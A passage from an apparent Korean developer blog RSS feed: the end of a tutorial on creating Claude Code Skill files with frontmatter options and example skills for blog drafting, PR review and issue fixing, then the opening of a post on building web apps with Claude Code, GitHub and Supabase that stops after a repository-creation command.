&lt;p&gt;처음 접하면 헷갈리는 세 가지를 정리합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;th&gt;비유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CLAUDE.md&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;프로젝트 전체에 적용되는 규칙&lt;/td&gt;
&lt;td&gt;사무실 벽에 붙은 공지사항&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Skill&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;특정 작업을 위한 명령어&lt;/td&gt;
&lt;td&gt;업무 매뉴얼&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hook&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;이벤트 발생 시 자동 실행&lt;/td&gt;
&lt;td&gt;자동화 봇&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;핵심 차이를 한 줄로 요약하면:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CLAUDE.md&lt;/strong&gt; — 항상 적용됩니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Skill&lt;/strong&gt; — 내가 호출하거나, Claude가 판단해서 호출합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hook&lt;/strong&gt; — 특정 이벤트에 자동으로 실행됩니다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;SKILL.md 만드는 법 — 3단계&lt;/h2&gt;
&lt;h3&gt;1단계: 폴더와 파일 만들기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;~/.claude/skills/blog-post/
└── SKILL.md&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이게 끝입니다. &lt;code class=&quot;language-text&quot;&gt;SKILL.md&lt;/code&gt; 파일 하나만 있으면 됩니다.&lt;/p&gt;
&lt;p&gt;저장 위치에 따라 적용 범위가 달라집니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;위치&lt;/th&gt;
&lt;th&gt;적용 범위&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;~/.claude/skills/&amp;lt;name&gt;/SKILL.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;내 모든 프로젝트&lt;/td&gt;
&lt;td&gt;개인 스킬&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;.claude/skills/&amp;lt;name&gt;/SKILL.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;해당 프로젝트만&lt;/td&gt;
&lt;td&gt;팀 공유 (Git 커밋)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;2단계: SKILL.md 작성하기&lt;/h3&gt;
&lt;p&gt;파일 구조는 &lt;strong&gt;YAML 프론트매터 + 마크다운 본문&lt;/strong&gt; 두 부분으로 되어 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; blog&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;post
&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 블로그 포스팅 초안을 작성합니다
&lt;span class=&quot;token key atrule&quot;&gt;disable-model-invocation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;allowed-tools&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Read&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Grep&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Glob&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; WebSearch
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 블로그 포스팅 작성 스킬&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;## 기본 정보&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;블로그명&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; AI JAVAPARK
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;필명&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 자바파커

&lt;span class=&quot;token comment&quot;&gt;## 작성 규칙&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 실전 경험 기반의 친근한 문체
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 어려운 개념은 비유나 실제 사례로 설명
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 도입 → 본문 → 정리 구조

&lt;span class=&quot;token comment&quot;&gt;## 포맷&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 마크다운 형식
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 코드 블록에는 언어 표기&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;---&lt;/code&gt;로 감싼 윗부분이 &lt;strong&gt;프론트매터&lt;/strong&gt;(설정), 아랫부분이 &lt;strong&gt;본문&lt;/strong&gt;(Claude에게 주는 지시)입니다.&lt;/p&gt;
&lt;h3&gt;3단계: 호출하기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;/blog-post Claude Code Skill 소개&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&quot;Claude Code Skill 소개&quot;가 &lt;code class=&quot;language-text&quot;&gt;$ARGUMENTS&lt;/code&gt;로 전달되어, 스킬에 정의된 규칙대로 포스팅이 만들어집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;SKILL.md 프론트매터 옵션 정리&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;옵션&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;슬래시 명령어 이름&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;blog-post&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;스킬 설명&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;블로그 포스팅 초안을 작성합니다&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;disable-model-invocation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;true&lt;/code&gt;면 수동 호출만 가능&lt;/td&gt;
&lt;td&gt;부작용 있는 작업에 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;allowed-tools&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;사용할 도구 제한&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Read, Grep, Glob&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;context&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;fork&lt;/code&gt; 시 서브에이전트로 분리 실행&lt;/td&gt;
&lt;td&gt;메인 대화 오염 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;agent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;context: fork&lt;/code&gt; 시 에이전트 타입&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Explore&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Plan&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;실전 예시 — 블로그 포스팅 자동화 Skill&lt;/h2&gt;
&lt;p&gt;실제로 사용 중인 스킬 전체를 공개합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; blog&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;post
&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 블로그 포스팅 초안을 작성합니다. 주제를 전달하면 구조화된 마크다운 포스팅을 생성합니다.
&lt;span class=&quot;token key atrule&quot;&gt;disable-model-invocation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;allowed-tools&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Read&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Grep&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Glob&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; WebSearch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; WebFetch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Agent
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 블로그 포스팅 작성 스킬&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;## 기본 정보&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;블로그명&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; AI JAVAPARK
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;필명&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 자바파커
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;플랫폼&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 티스토리
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;주요 독자&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 개발자&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; AI/IT에 관심 있는 사람들

&lt;span class=&quot;token comment&quot;&gt;## 작성 규칙&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;### 톤 &amp;amp; 스타일&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 실전 경험 기반의 친근한 문체 (&quot;~합니다&quot; 체)
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 어려운 개념은 비유나 실제 사례로 설명
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 독자가 바로 따라할 수 있는 실용적 내용 중심
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 불필요한 서론 최소화&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 핵심부터 진입

&lt;span class=&quot;token comment&quot;&gt;### 구조&lt;/span&gt;
1. &lt;span class=&quot;token important&quot;&gt;**도입**&lt;/span&gt; — 왜 이 주제를 다루는지 (2~3문장)
2. &lt;span class=&quot;token important&quot;&gt;**본문**&lt;/span&gt; — 개념 설명 + 실전 예시 + 코드/설정 예시
3. &lt;span class=&quot;token important&quot;&gt;**정리**&lt;/span&gt; — 핵심 요약 또는 다음 단계 제안

&lt;span class=&quot;token comment&quot;&gt;### 포맷&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 마크다운 형식
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 코드 블록에는 언어 표기
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 적절한 소제목으로 스캔 가능하게 구성
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 긴 설명보다 표&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 목록&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 코드 예시 활용

&lt;span class=&quot;token comment&quot;&gt;## 작업 흐름&lt;/span&gt;
1. 주제($ARGUMENTS)를 받으면 먼저 포스팅 아웃라인을 잡는다
2. 필요하면 WebSearch로 최신 정보를 확인한다
3. 프로젝트 내 관련 코드/설정이 있으면 참조한다
4. 마크다운 초안을 작성한다
5. 초안을 프로젝트 루트에 posts/ 디렉토리 아래 저장한다&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 스킬 덕분에 &lt;code class=&quot;language-text&quot;&gt;/blog-post 주제&lt;/code&gt; 한 줄이면 블로그 톤, 구조, 포맷을 매번 설명하지 않아도 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code Skill 활용 예시 — 코드 리뷰, 이슈 처리&lt;/h2&gt;
&lt;h3&gt;코드 리뷰 스킬&lt;/h3&gt;
&lt;p&gt;PR을 서브에이전트로 분석합니다. &lt;code class=&quot;language-text&quot;&gt;!&lt;/code&gt;command`` 문법으로 쉘 명령어 결과를 동적으로 주입하는 게 포인트입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; review
&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; PR 코드 리뷰를 수행합니다
&lt;span class=&quot;token key atrule&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; fork
&lt;span class=&quot;token key atrule&quot;&gt;agent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Explore
&lt;span class=&quot;token key atrule&quot;&gt;allowed-tools&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Bash(gh &lt;span class=&quot;token important&quot;&gt;*)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Read&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Grep&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Glob
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;## PR 컨텍스트&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;PR diff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;!&lt;/span&gt;`gh pr diff`
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;변경 파일&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;!&lt;/span&gt;`gh pr diff &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;only`

&lt;span class=&quot;token comment&quot;&gt;## 리뷰 기준&lt;/span&gt;
1. 버그 가능성이 있는 코드
2. 성능 이슈
3. 보안 취약점
4. 컨벤션 위반&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;GitHub 이슈 처리 스킬&lt;/h3&gt;
&lt;p&gt;이슈 번호만 넘기면 분석부터 커밋까지 처리합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; fix&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;issue
&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; GitHub 이슈를 분석하고 수정합니다
&lt;span class=&quot;token key atrule&quot;&gt;disable-model-invocation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;

GitHub 이슈 &lt;span class=&quot;token comment&quot;&gt;#$ARGUMENTS 를 처리합니다:&lt;/span&gt;

1. 이슈 내용을 읽고 요구사항 파악
2. 관련 코드 탐색
3. 수정 구현
4. 테스트 작성
5. 커밋 생성&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code Skill 작성 팁 5가지&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;disable-model-invocation: true&lt;/code&gt;를 습관적으로 쓰세요.&lt;/strong&gt;
배포, 커밋, 메시지 전송 등 부작용이 있는 스킬에 설정하지 않으면, Claude가 대화 중 알아서 호출할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;description을 잘 쓰세요.&lt;/strong&gt;
Claude가 자동 호출 여부를 판단할 때 이 설명을 봅니다. 모호하면 엉뚱한 타이밍에 호출됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SKILL.md는 500줄 이내로.&lt;/strong&gt;
길어지면 별도 파일로 분리하고 SKILL.md에서 참조하세요. 스킬 디렉토리 안에 &lt;code class=&quot;language-text&quot;&gt;examples/&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;templates/&lt;/code&gt; 같은 하위 폴더를 두면 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;$ARGUMENTS&lt;/code&gt;로 입력값을 받으세요.&lt;/strong&gt;
&lt;code class=&quot;language-text&quot;&gt;/skill-name 인자값&lt;/code&gt; 형태로 호출하면 &lt;code class=&quot;language-text&quot;&gt;$ARGUMENTS&lt;/code&gt;에 전달됩니다. &lt;code class=&quot;language-text&quot;&gt;$0&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;$1&lt;/code&gt;로 개별 인자도 접근 가능합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;context: fork&lt;/code&gt;로 대화를 깔끔하게.&lt;/strong&gt;
리서치나 분석처럼 긴 작업은 서브에이전트로 분리하면 메인 대화가 오염되지 않습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Skill과 프롬프트 템플릿은 뭐가 다른가요?&lt;/h3&gt;
&lt;p&gt;프롬프트 템플릿은 텍스트를 복사-붙여넣기 하는 방식입니다. Skill은 Claude Code가 직접 파일을 읽고 실행하기 때문에, 도구 사용 제한(&lt;code class=&quot;language-text&quot;&gt;allowed-tools&lt;/code&gt;), 자동 호출 제어(&lt;code class=&quot;language-text&quot;&gt;disable-model-invocation&lt;/code&gt;), 서브에이전트 분리(&lt;code class=&quot;language-text&quot;&gt;context: fork&lt;/code&gt;) 같은 세밀한 제어가 가능합니다.&lt;/p&gt;
&lt;h3&gt;Skill을 팀원과 공유할 수 있나요?&lt;/h3&gt;
&lt;p&gt;프로젝트 루트의 &lt;code class=&quot;language-text&quot;&gt;.claude/skills/&lt;/code&gt; 에 저장하면 Git으로 커밋할 수 있습니다. 팀원이 같은 저장소를 클론하면 동일한 슬래시 명령어를 사용할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Skill이 너무 길어지면 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;SKILL.md는 500줄 이내로 유지하는 것이 좋습니다. 길어지면 스킬 디렉토리 안에 &lt;code class=&quot;language-text&quot;&gt;examples/&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;templates/&lt;/code&gt; 같은 하위 폴더를 만들고, SKILL.md에서 해당 파일을 참조하도록 작성하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;Skill은 결국 **&quot;Claude에게 주는 업무 매뉴얼을 파일로 저장한 것&quot;**입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;SKILL.md&lt;/code&gt; 파일 하나 만들고&lt;/li&gt;
&lt;li&gt;프론트매터에 이름과 설명 적고&lt;/li&gt;
&lt;li&gt;본문에 작업 지시를 마크다운으로 작성하면&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;그때부터 &lt;code class=&quot;language-text&quot;&gt;/name&lt;/code&gt;으로 호출할 수 있습니다.&lt;/p&gt;
&lt;p&gt;반복하는 작업이 있다면, 오늘 바로 하나 만들어보세요. 한번 만들어두면 다시는 같은 설명을 반복하지 않아도 됩니다.&lt;/p&gt;
&lt;p&gt;여러분은 어떤 반복 업무를 스킬로 만들고 싶으신가요? 댓글로 알려주세요!&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/skills&quot;&gt;Claude Code 공식 문서 — Skills&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory&quot;&gt;Claude Code 공식 문서 — CLAUDE.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/hooks&quot;&gt;Claude Code 공식 문서 — Hooks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[AI로 웹서비스 만드는 법 — Claude Code + Supabase 실전 가이드]]></title><description><![CDATA[AI로 웹서비스 만들기 커버 — Claude Code + Supabase + Vercel 1인 개발 가이드 안녕하세요, 자바파커입니다. 요즘 개발 환경이 빠르게 바뀌고 있습니다. 예전에는 웹서비스 하나 만들려면 프론트엔드, 백엔드, DB…]]></description><link>https://blog.javapark.kr/ai-driven-web-development/</link><guid isPermaLink="false">https://blog.javapark.kr/ai-driven-web-development/</guid><pubDate>Sat, 28 Mar 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/ai-driven-web-development.png&quot; alt=&quot;AI로 웹서비스 만들기 커버 — Claude Code + Supabase + Vercel 1인 개발 가이드&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;요즘 개발 환경이 빠르게 바뀌고 있습니다. 예전에는 웹서비스 하나 만들려면 프론트엔드, 백엔드, DB, 배포까지 혼자 다 해야 했습니다. 지금은 다릅니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;아이디어만 있으면, AI와 함께 웹서비스를 만들 수 있는 시대&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;과장이 아닙니다. 실제로 저는 &lt;strong&gt;Claude Code + GitHub + Supabase&lt;/strong&gt; 조합으로 웹서비스를 개발하고 있고, 이 프로세스를 공유합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;AI 웹개발 도구 조합 — Claude Code, GitHub, Supabase&lt;/h2&gt;
&lt;p&gt;먼저 각 도구의 역할을 정리합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;th&gt;비유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI 코딩 에이전트 — 설계, 구현, 디버깅&lt;/td&gt;
&lt;td&gt;24시간 일하는 시니어 개발자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;코드 저장소 + 버전 관리 + 배포&lt;/td&gt;
&lt;td&gt;프로젝트의 금고&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Supabase&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;백엔드 올인원 (DB, 인증, API, 스토리지)&lt;/td&gt;
&lt;td&gt;서버 없이 쓰는 백엔드&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 세 가지를 조합하면, 1인 개발자가 풀스택 웹서비스를 만들 수 있는 환경이 됩니다. 서버를 직접 관리할 필요도, 인증 로직을 처음부터 짤 필요도 없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;AI 웹서비스 개발 프로세스 — 5단계&lt;/h2&gt;
&lt;p&gt;제가 실제로 사용하는 프로세스를 단계별로 정리합니다.&lt;/p&gt;
&lt;h3&gt;1단계: 기획 — Claude Code와 대화하기&lt;/h3&gt;
&lt;p&gt;코드를 한 줄도 작성하기 전에, Claude Code에게 아이디어를 설명합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;할 일 관리 웹앱을 만들려고 합니다.
사용자 로그인, 할 일 CRUD, 카테고리 분류 기능이 필요합니다.
기술 스택은 Next.js + Supabase로 가려고 하는데, 어떻게 구조를 잡으면 좋을까요?&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude Code는 단순히 코드만 생성하는 게 아닙니다. 프로젝트 구조를 제안하고, 테이블 설계를 잡아주고, 필요한 패키지까지 알려줍니다.&lt;/p&gt;
&lt;p&gt;이 단계에서 중요한 건 &lt;strong&gt;&quot;무엇을 만들 것인가&quot;를 명확히 하는 것&lt;/strong&gt;입니다. AI는 방향을 알려주면 알아서 길을 찾지만, 방향이 모호하면 엉뚱한 곳으로 갑니다.&lt;/p&gt;
&lt;h3&gt;2단계: 프로젝트 셋업 — GitHub + Supabase 초기화&lt;/h3&gt;
&lt;h4&gt;GitHub 저장소 생성&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;gh repo create my-todo-app &lt;span class=&quot;token parameter variable&quot;&gt;--public&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--clone&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; my-todo-app&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
